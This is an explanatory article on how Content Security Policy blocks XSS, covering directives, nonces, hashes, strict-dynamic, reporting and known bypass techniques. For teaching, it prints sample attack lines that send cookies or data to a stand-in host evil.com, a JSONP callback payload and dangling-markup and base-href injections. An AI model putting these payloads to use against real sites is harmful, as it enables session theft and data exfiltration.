How Content Security Policy (CSP) Works: Preventing XSS and Script Injection
Content Security Policy (CSP) is a browser security mechanism that prevents the execution of unauthorized scripts, styles, and other resources on a web page. Delivered as an HTTP response header (Content-Security-Policy), CSP defines a whitelist of trusted content sources that the browser enforces on every resource load and script execution. When a script attempts to execute that does not match the policy -- whether injected via cross-site scripting (XSS), a compromised third-party library, or a malicious browser extension -- the browser blocks it and optionally reports the violation to a server-side endpoint. CSP is standardized by the W3C (currently at Level 3) and supported by all modern browsers.
The fundamental insight behind CSP is that XSS is a failure of origin distinction: the browser cannot tell the difference between a script the developer intended to include and a script an attacker injected. CSP solves this by giving the developer a mechanism to explicitly declare which scripts are authorized. Instead of trying to detect malicious scripts (which is what WAFs attempt, with limited success), CSP prevents any unauthorized script from executing -- whether it is a known attack pattern or a novel zero-day.
CSP is not a replacement for proper input validation and output encoding -- those remain the primary defenses against XSS. But CSP is the strongest defense-in-depth layer available. When the application has an XSS vulnerability that the developer has not yet discovered (and all sufficiently complex applications do), CSP is the mechanism that prevents the vulnerability from being exploited.
CSP Directive Reference
A CSP policy consists of one or more directives, each controlling a specific type of resource. The most important directives:
default-src: the fallback for any resource type that does not have its own directive. If you setdefault-src 'self', all resource types (scripts, styles, images, fonts, etc.) are restricted to the page's own origin unless a more specific directive overrides it.script-src: controls which scripts can execute. This is the most critical directive for XSS prevention. Sources can be origins (https://cdn.example.com), the special keyword'self'(same origin), nonces ('nonce-abc123'), or hashes ('sha256-...').script-src-elem/script-src-attr: CSP Level 3 splitscript-srcinto two directives.script-src-elemcontrols<script>elements andscript-src-attrcontrols inline event handlers (onclick,onerror, etc.). This granularity allows blocking inline event handlers (a common XSS vector) while allowing<script>tags with nonces.style-src: controls which stylesheets can be applied. CSS injection is less dangerous than script injection, but it can still be used for data exfiltration (reading CSRF tokens via CSS attribute selectors) and UI manipulation.connect-src: controls which URLs the page can connect to viafetch(),XMLHttpRequest, WebSocket, and EventSource. This limits where an injected script can exfiltrate data. Ifconnect-src 'self'is set, an XSS payload cannot send stolen data toevil.com.img-src: controls image sources. Relevant because attackers often use<img src="https://evil.com/steal?data=...">for data exfiltration whenconnect-srcblocks fetch/XHR.font-src: controls web font sources.frame-src/child-src: controls which origins can be embedded in<iframe>elements. Important for preventing clickjacking and controlling embedded content.object-src: controls<object>,<embed>, and<applet>elements. Should be set to'none'in virtually all modern applications -- these elements are legacy vectors for Flash-based and Java-based attacks.base-uri: controls which URLs can appear in the<base>element. An attacker who can inject a<base href="https://evil.com/">tag can redirect all relative URL loads to their server. Setbase-uri 'self'or'none'to prevent this.form-action: controls which URLs can be used as form submission targets. Prevents an attacker from injecting a form that submits credentials to an attacker-controlled server.frame-ancestors: controls which origins can embed the page in a frame. This is the CSP replacement for theX-Frame-Optionsheader and is the primary defense against clickjacking.frame-ancestors 'none'prevents any framing;frame-ancestors 'self'allows only same-origin framing.
Nonces: Per-Request Script Authorization
A nonce (number used once) is a random, unguessable value generated by the server for each HTTP response. The nonce is included in both the CSP header and the <script> tags that the server renders. The browser compares the nonce in each script tag against the nonce in the CSP header -- only scripts with a matching nonce execute.
# Server generates a random nonce for each response
Content-Security-Policy: script-src 'nonce-4AEemGb0xJptoIGFP3Nd'
# In the HTML, authorized scripts include the nonce
<script nonce="4AEemGb0xJptoIGFP3Nd">
// This script executes -- nonce matches CSP header
initializeApp();
</script>
# An injected script does NOT have the nonce
<script>
// BLOCKED -- no nonce attribute, browser refuses to execute
document.location = 'https://evil.com/steal?c=' + document.cookie;
</script>
The security of nonces depends on the nonce being unpredictable (cryptographically random, at least 128 bits) and unique per response. If the nonce is predictable (e.g., sequential, timestamp-based, or derived from a seed the attacker can guess), the attacker can include the correct nonce in their injected script. If the same nonce is reused across responses (e.g., because the server caches the response), an attacker who observes one response can predict the nonce in subsequent responses.
Nonces are the recommended approach for applications that serve server-rendered HTML with inline scripts. They are more flexible than hashes (because the script content can change without updating the policy) and more secure than domain allowlists (because they authorize specific script instances, not entire origins).
Hashes: Content-Based Script Authorization
Hash-based CSP authorizes scripts based on a cryptographic hash of their content. The server computes the SHA-256, SHA-384, or SHA-512 hash of each authorized inline script's content and includes the base64-encoded hash in the CSP header. The browser independently hashes each inline script's content and compares it against the policy -- only scripts with matching hashes execute.
# The inline script content (including whitespace)
# alert('Hello, world!');
# SHA-256 hash (base64): qznLcsROx4GACP2dm0UCKCzCG+HiZ1guq6ZZDob/Tng=
Content-Security-Policy: script-src 'sha256-qznLcsROx4GACP2dm0UCKCzCG+HiZ1guq6ZZDob/Tng='
Hashes are useful for static inline scripts that never change -- a fixed analytics snippet, a small initialization script, or a polyfill. They are less practical than nonces for dynamic content because any change to the script content (even adding a space) changes the hash and requires updating the CSP header.
Important limitation: hashes work only for inline scripts, not for external scripts loaded via src attributes. To authorize an external script by hash, you would need the Subresource Integrity (SRI) mechanism (<script src="..." integrity="sha256-...">), which ensures the loaded file matches the expected hash. CSP Level 3 allows script-src hashes to match external scripts if SRI is used, but browser support varies.
'strict-dynamic': Trusted Script Propagation
The 'strict-dynamic' keyword (CSP Level 3) is designed for applications that dynamically load scripts at runtime. When present in script-src, it modifies the CSP behavior in two important ways:
- Scripts that are authorized by a nonce or hash can dynamically create and load additional scripts (via
document.createElement('script'),import(), orWorker()), and those dynamically created scripts are automatically trusted -- they inherit the authorization of the script that created them. This is called trust propagation. - All domain-based allowlists (
https://cdn.example.com,*.example.com) are ignored. Only nonces, hashes, and dynamically loaded scripts are trusted. This prevents the common mistake of allowlisting an entire CDN origin that an attacker can also upload scripts to (e.g., a public CDN likecdnjs.cloudflare.comthat hosts thousands of JavaScript libraries, some of which contain useful gadgets for attackers).
# Strict CSP with strict-dynamic
Content-Security-Policy:
script-src 'nonce-abc123' 'strict-dynamic';
object-src 'none';
base-uri 'self'
# The nonce-authorized script can dynamically load additional scripts
<script nonce="abc123">
const s = document.createElement('script');
s.src = 'https://cdn.example.com/app.js'; // trusted via strict-dynamic
document.head.appendChild(s);
// app.js can also load its own dependencies -- trust propagates
</script>
The 'strict-dynamic' approach is Google's recommended CSP deployment strategy, detailed in their research paper "CSP Is Dead, Long Live CSP" (2016). The paper demonstrated that the majority of CSP policies deployed on the web were trivially bypassable because they relied on domain-based allowlists, and proposed nonce-based policies with 'strict-dynamic' as the solution. The key insight is that controlling the entry point (which initial scripts can execute) is more important than trying to enumerate all legitimate script sources (which is error-prone and bypassable).
'unsafe-inline' and 'unsafe-eval': The Escape Hatches
Two CSP keywords effectively disable large portions of CSP's protection and should be avoided:
'unsafe-inline' allows all inline scripts and event handlers to execute, regardless of their source. This completely negates CSP's XSS protection, because the entire point of CSP is to distinguish between authorized and unauthorized inline scripts. If 'unsafe-inline' is present, the attacker's injected <script> tag or onerror handler executes freely. The only legitimate use of 'unsafe-inline' is as a transitional step during CSP deployment -- it is listed in the policy alongside nonces/hashes so that browsers that do not support nonces (legacy browsers) still allow scripts to execute. Modern browsers that support nonces ignore 'unsafe-inline' when a nonce is present.
'unsafe-eval' allows the use of eval(), Function(), setTimeout('string'), and setInterval('string'). These functions convert strings into executable code, which is exactly what XSS exploits do. If an attacker can inject a string into a code path that reaches eval(), 'unsafe-eval' means CSP will not prevent execution. Some JavaScript frameworks and template engines require eval() for template compilation (e.g., older versions of Angular.js, Handlebars runtime compilation), but modern frameworks have moved to precompiled templates that do not require 'unsafe-eval'.
Reporting: report-uri and report-to
CSP can send violation reports to a server-side endpoint when the browser blocks a resource. This is invaluable for monitoring -- it tells you when CSP is blocking something, whether that is an actual attack or a false positive (a legitimate script that was not included in the policy).
# report-uri (deprecated but widely supported)
Content-Security-Policy: script-src 'nonce-abc123';
report-uri /csp-report
# report-to (modern, uses Reporting API)
Content-Security-Policy: script-src 'nonce-abc123';
report-to csp-endpoint
Reporting-Endpoints: csp-endpoint="https://example.com/csp-report"
A violation report is a JSON object sent via POST containing:
{
"csp-report": {
"document-uri": "https://example.com/page",
"referrer": "",
"violated-directive": "script-src",
"effective-directive": "script-src",
"original-policy": "script-src 'nonce-abc123'; report-uri /csp-report",
"blocked-uri": "inline",
"status-code": 200,
"source-file": "https://example.com/page",
"line-number": 42,
"column-number": 15
}
}
The blocked-uri field reveals what was blocked: "inline" for inline scripts, "eval" for eval() calls, or a URL for external resource loads. The source-file, line-number, and column-number pinpoint where the violation occurred in the HTML document, which is essential for debugging.
Content-Security-Policy-Report-Only
The Content-Security-Policy-Report-Only header applies the policy in monitoring mode: violations are reported but not blocked. This is the essential tool for deploying CSP safely. The deployment process is:
- Deploy a
Content-Security-Policy-Report-Onlyheader with a strict policy and a report endpoint. - Collect violation reports for days or weeks. Analyze the reports to identify legitimate scripts that are not covered by the policy (false positives).
- Update the policy to include missing nonces, hashes, or source origins for legitimate scripts.
- Repeat until the violation rate from legitimate traffic drops to near zero.
- Switch to the enforcing
Content-Security-Policyheader. Keep reporting enabled to detect new violations from application changes.
Both headers can be sent simultaneously, which is useful for testing a stricter policy while enforcing a less strict one. The enforcing header blocks violations per the current policy, while the report-only header reports violations against the candidate stricter policy without affecting users.
CSP Bypass Techniques
Despite its strength, CSP can be bypassed when policies are poorly constructed. Understanding these bypasses is essential for writing effective policies:
JSONP Endpoints
If the CSP allowlists a domain that hosts a JSONP endpoint, an attacker can use that endpoint as a script source. JSONP endpoints return user-controlled data wrapped in a JavaScript function call -- effectively eval() over HTTP:
# CSP allows scripts from api.example.com
Content-Security-Policy: script-src 'self' https://api.example.com
# Attacker injects a script tag pointing to a JSONP endpoint
<script src="https://api.example.com/jsonp?callback=alert(document.cookie)//">
</script>
# The response is: alert(document.cookie)//({"data": "..."})
# This executes because the source domain is in the CSP allowlist
The defense is to avoid domain-based allowlists (use nonces/hashes instead) or to ensure that allowlisted domains do not have JSONP endpoints. This is one of the key reasons Google recommends 'strict-dynamic' over domain allowlists.
CDN-Hosted Gadgets
If the CSP allowlists a public CDN (e.g., https://cdnjs.cloudflare.com), an attacker can reference any library hosted on that CDN -- including libraries that contain useful primitives for exploitation. For example, AngularJS (when loaded) provides template injection capabilities that can execute arbitrary JavaScript without directly using <script> tags, bypassing CSP. The research paper "An Unexpected Journey into the Unexpected" (2024) catalogued hundreds of CDN-hosted libraries that can be abused as CSP bypass gadgets.
Base URI Manipulation
If base-uri is not restricted, an attacker who can inject a <base href="https://evil.com/"> tag can redirect all relative script URLs to their server. A script tag like <script src="/app.js"> would load from https://evil.com/app.js instead of the legitimate server. The defense is to always include base-uri 'self' or base-uri 'none' in the CSP policy.
Dangling Markup Injection
Even when script execution is blocked, an attacker may be able to exfiltrate data through HTML injection that does not require JavaScript. For example, injecting an unclosed <img src="https://evil.com/?data= tag causes the browser to include everything between the injection point and the next " character as part of the URL -- potentially capturing sensitive data like CSRF tokens that appear later in the HTML. CSP's img-src directive limits where images can be loaded from, mitigating this vector.
Building a Strict CSP: Step by Step
A production-grade CSP policy follows these principles:
# Recommended strict CSP policy
Content-Security-Policy:
script-src 'nonce-{random}' 'strict-dynamic';
style-src 'self' 'nonce-{random}';
object-src 'none';
base-uri 'self';
frame-ancestors 'none';
form-action 'self';
connect-src 'self' https://api.example.com;
img-src 'self' data: https:;
font-src 'self';
report-to csp-endpoint
Key design decisions:
script-srcuses nonces + strict-dynamic: the gold standard for XSS prevention. Each server response includes a fresh nonce. No domain allowlists (they are too easily bypassed).object-src 'none': blocks Flash, Java applets, and other plugin-based content. There is no legitimate reason to allow these in modern web applications.base-uri 'self': prevents base URI manipulation attacks.frame-ancestors 'none': prevents clickjacking by disallowing framing. Use'self'if the application legitimately needs same-origin framing.form-action 'self': prevents form hijacking where an injected form submits data to an attacker's server.connect-srcis restricted to the application's own API endpoints, preventing XSS payloads from exfiltrating data to arbitrary servers.
CSP and Single-Page Applications
Single-Page Applications (SPAs) present unique CSP challenges. An SPA typically loads a JavaScript bundle that dynamically generates all page content, makes API calls via fetch(), and manages routing client-side. CSP considerations for SPAs:
- Nonce delivery: SPAs served from a CDN cache cannot use per-response nonces because the HTML is cached and served to multiple users with the same nonce. Solutions include: (1) serving the HTML from the origin (not cache) so each response gets a fresh nonce, (2) using hash-based CSP for the static entry-point script, or (3) using
'strict-dynamic'to trust scripts loaded by the entry-point script. - connect-src: SPAs make many API calls. The
connect-srcdirective must include all API origins the application communicates with. Forgetting a microservice endpoint causes silent failures that are hard to debug. - style-src: CSS-in-JS libraries (styled-components, Emotion) often inject inline
<style>elements at runtime. Without nonces for these style elements,style-srcmust include'unsafe-inline'(weakening CSS injection protection) or the library must support nonce propagation. Modern CSS-in-JS libraries support nonce-based CSP. - Web Workers and Service Workers: Worker scripts are controlled by the
worker-srcdirective (falling back tochild-src, thenscript-src). SPAs that use Web Workers or Service Workers must include the appropriate source inworker-src.
CSP and CORS
CSP and CORS serve different purposes and operate independently. CORS controls which origins can read responses from a server (enforced on the response). CSP controls which resources a page can load and execute (enforced on the page). A cross-origin script load must satisfy both: CSP must allow the script's origin, and if the script is loaded with integrity metadata (SRI), CORS headers must be present on the response to allow the browser to check the integrity hash.
Common confusion: CSP's connect-src does not replace CORS. Even if connect-src allows https://api.example.com, the API server must still send appropriate Access-Control-Allow-Origin headers for cross-origin requests to succeed. CSP and CORS are complementary, not substitutes.
CSP Adoption and Real-World Effectiveness
Despite CSP being available in browsers since 2012, adoption of effective CSP policies remains low. Research by Google (published at CCS 2016) found that 94.72% of CSP policies in the wild were trivially bypassable, primarily due to reliance on domain-based allowlists that included CDNs hosting JSONP endpoints or attacker-controllable content. Only policies using nonces or hashes with 'strict-dynamic' provided meaningful XSS protection.
The main barriers to CSP adoption are:
- Legacy JavaScript: applications with hundreds of inline scripts, event handlers, and
eval()calls require significant refactoring to work with a strict CSP. - Third-party scripts: analytics, advertising, A/B testing, and customer support widgets inject scripts at runtime in unpredictable ways. These scripts often violate strict CSP policies and require continuous allowlisting updates.
- Browser extensions: extensions inject scripts into pages, generating CSP violation reports that are indistinguishable from real attacks. This noise makes CSP reporting less useful.
- Performance overhead: nonce generation requires the server to produce a cryptographically random value for each response. While this overhead is negligible on modern hardware, it prevents full-page HTML caching at the CDN edge.
See It in Action
Content Security Policy is deployed on many major websites, including Google, GitHub, Twitter/X, and Facebook. The effectiveness of these policies depends on proper configuration -- a weak CSP with 'unsafe-inline' provides little more protection than no CSP at all. Combined with a WAF for server-side request filtering and proper XSS prevention in application code, CSP forms the browser-side layer of a comprehensive web security strategy.
Use the god.ad BGP Looking Glass to explore the networks of major cloud platforms and CDN providers that serve CSP-protected web applications. The BGP routing infrastructure that delivers these security headers is itself a critical link in the security chain -- ensuring that the CSP header reaches the browser unmodified requires trust in every network hop along the AS path.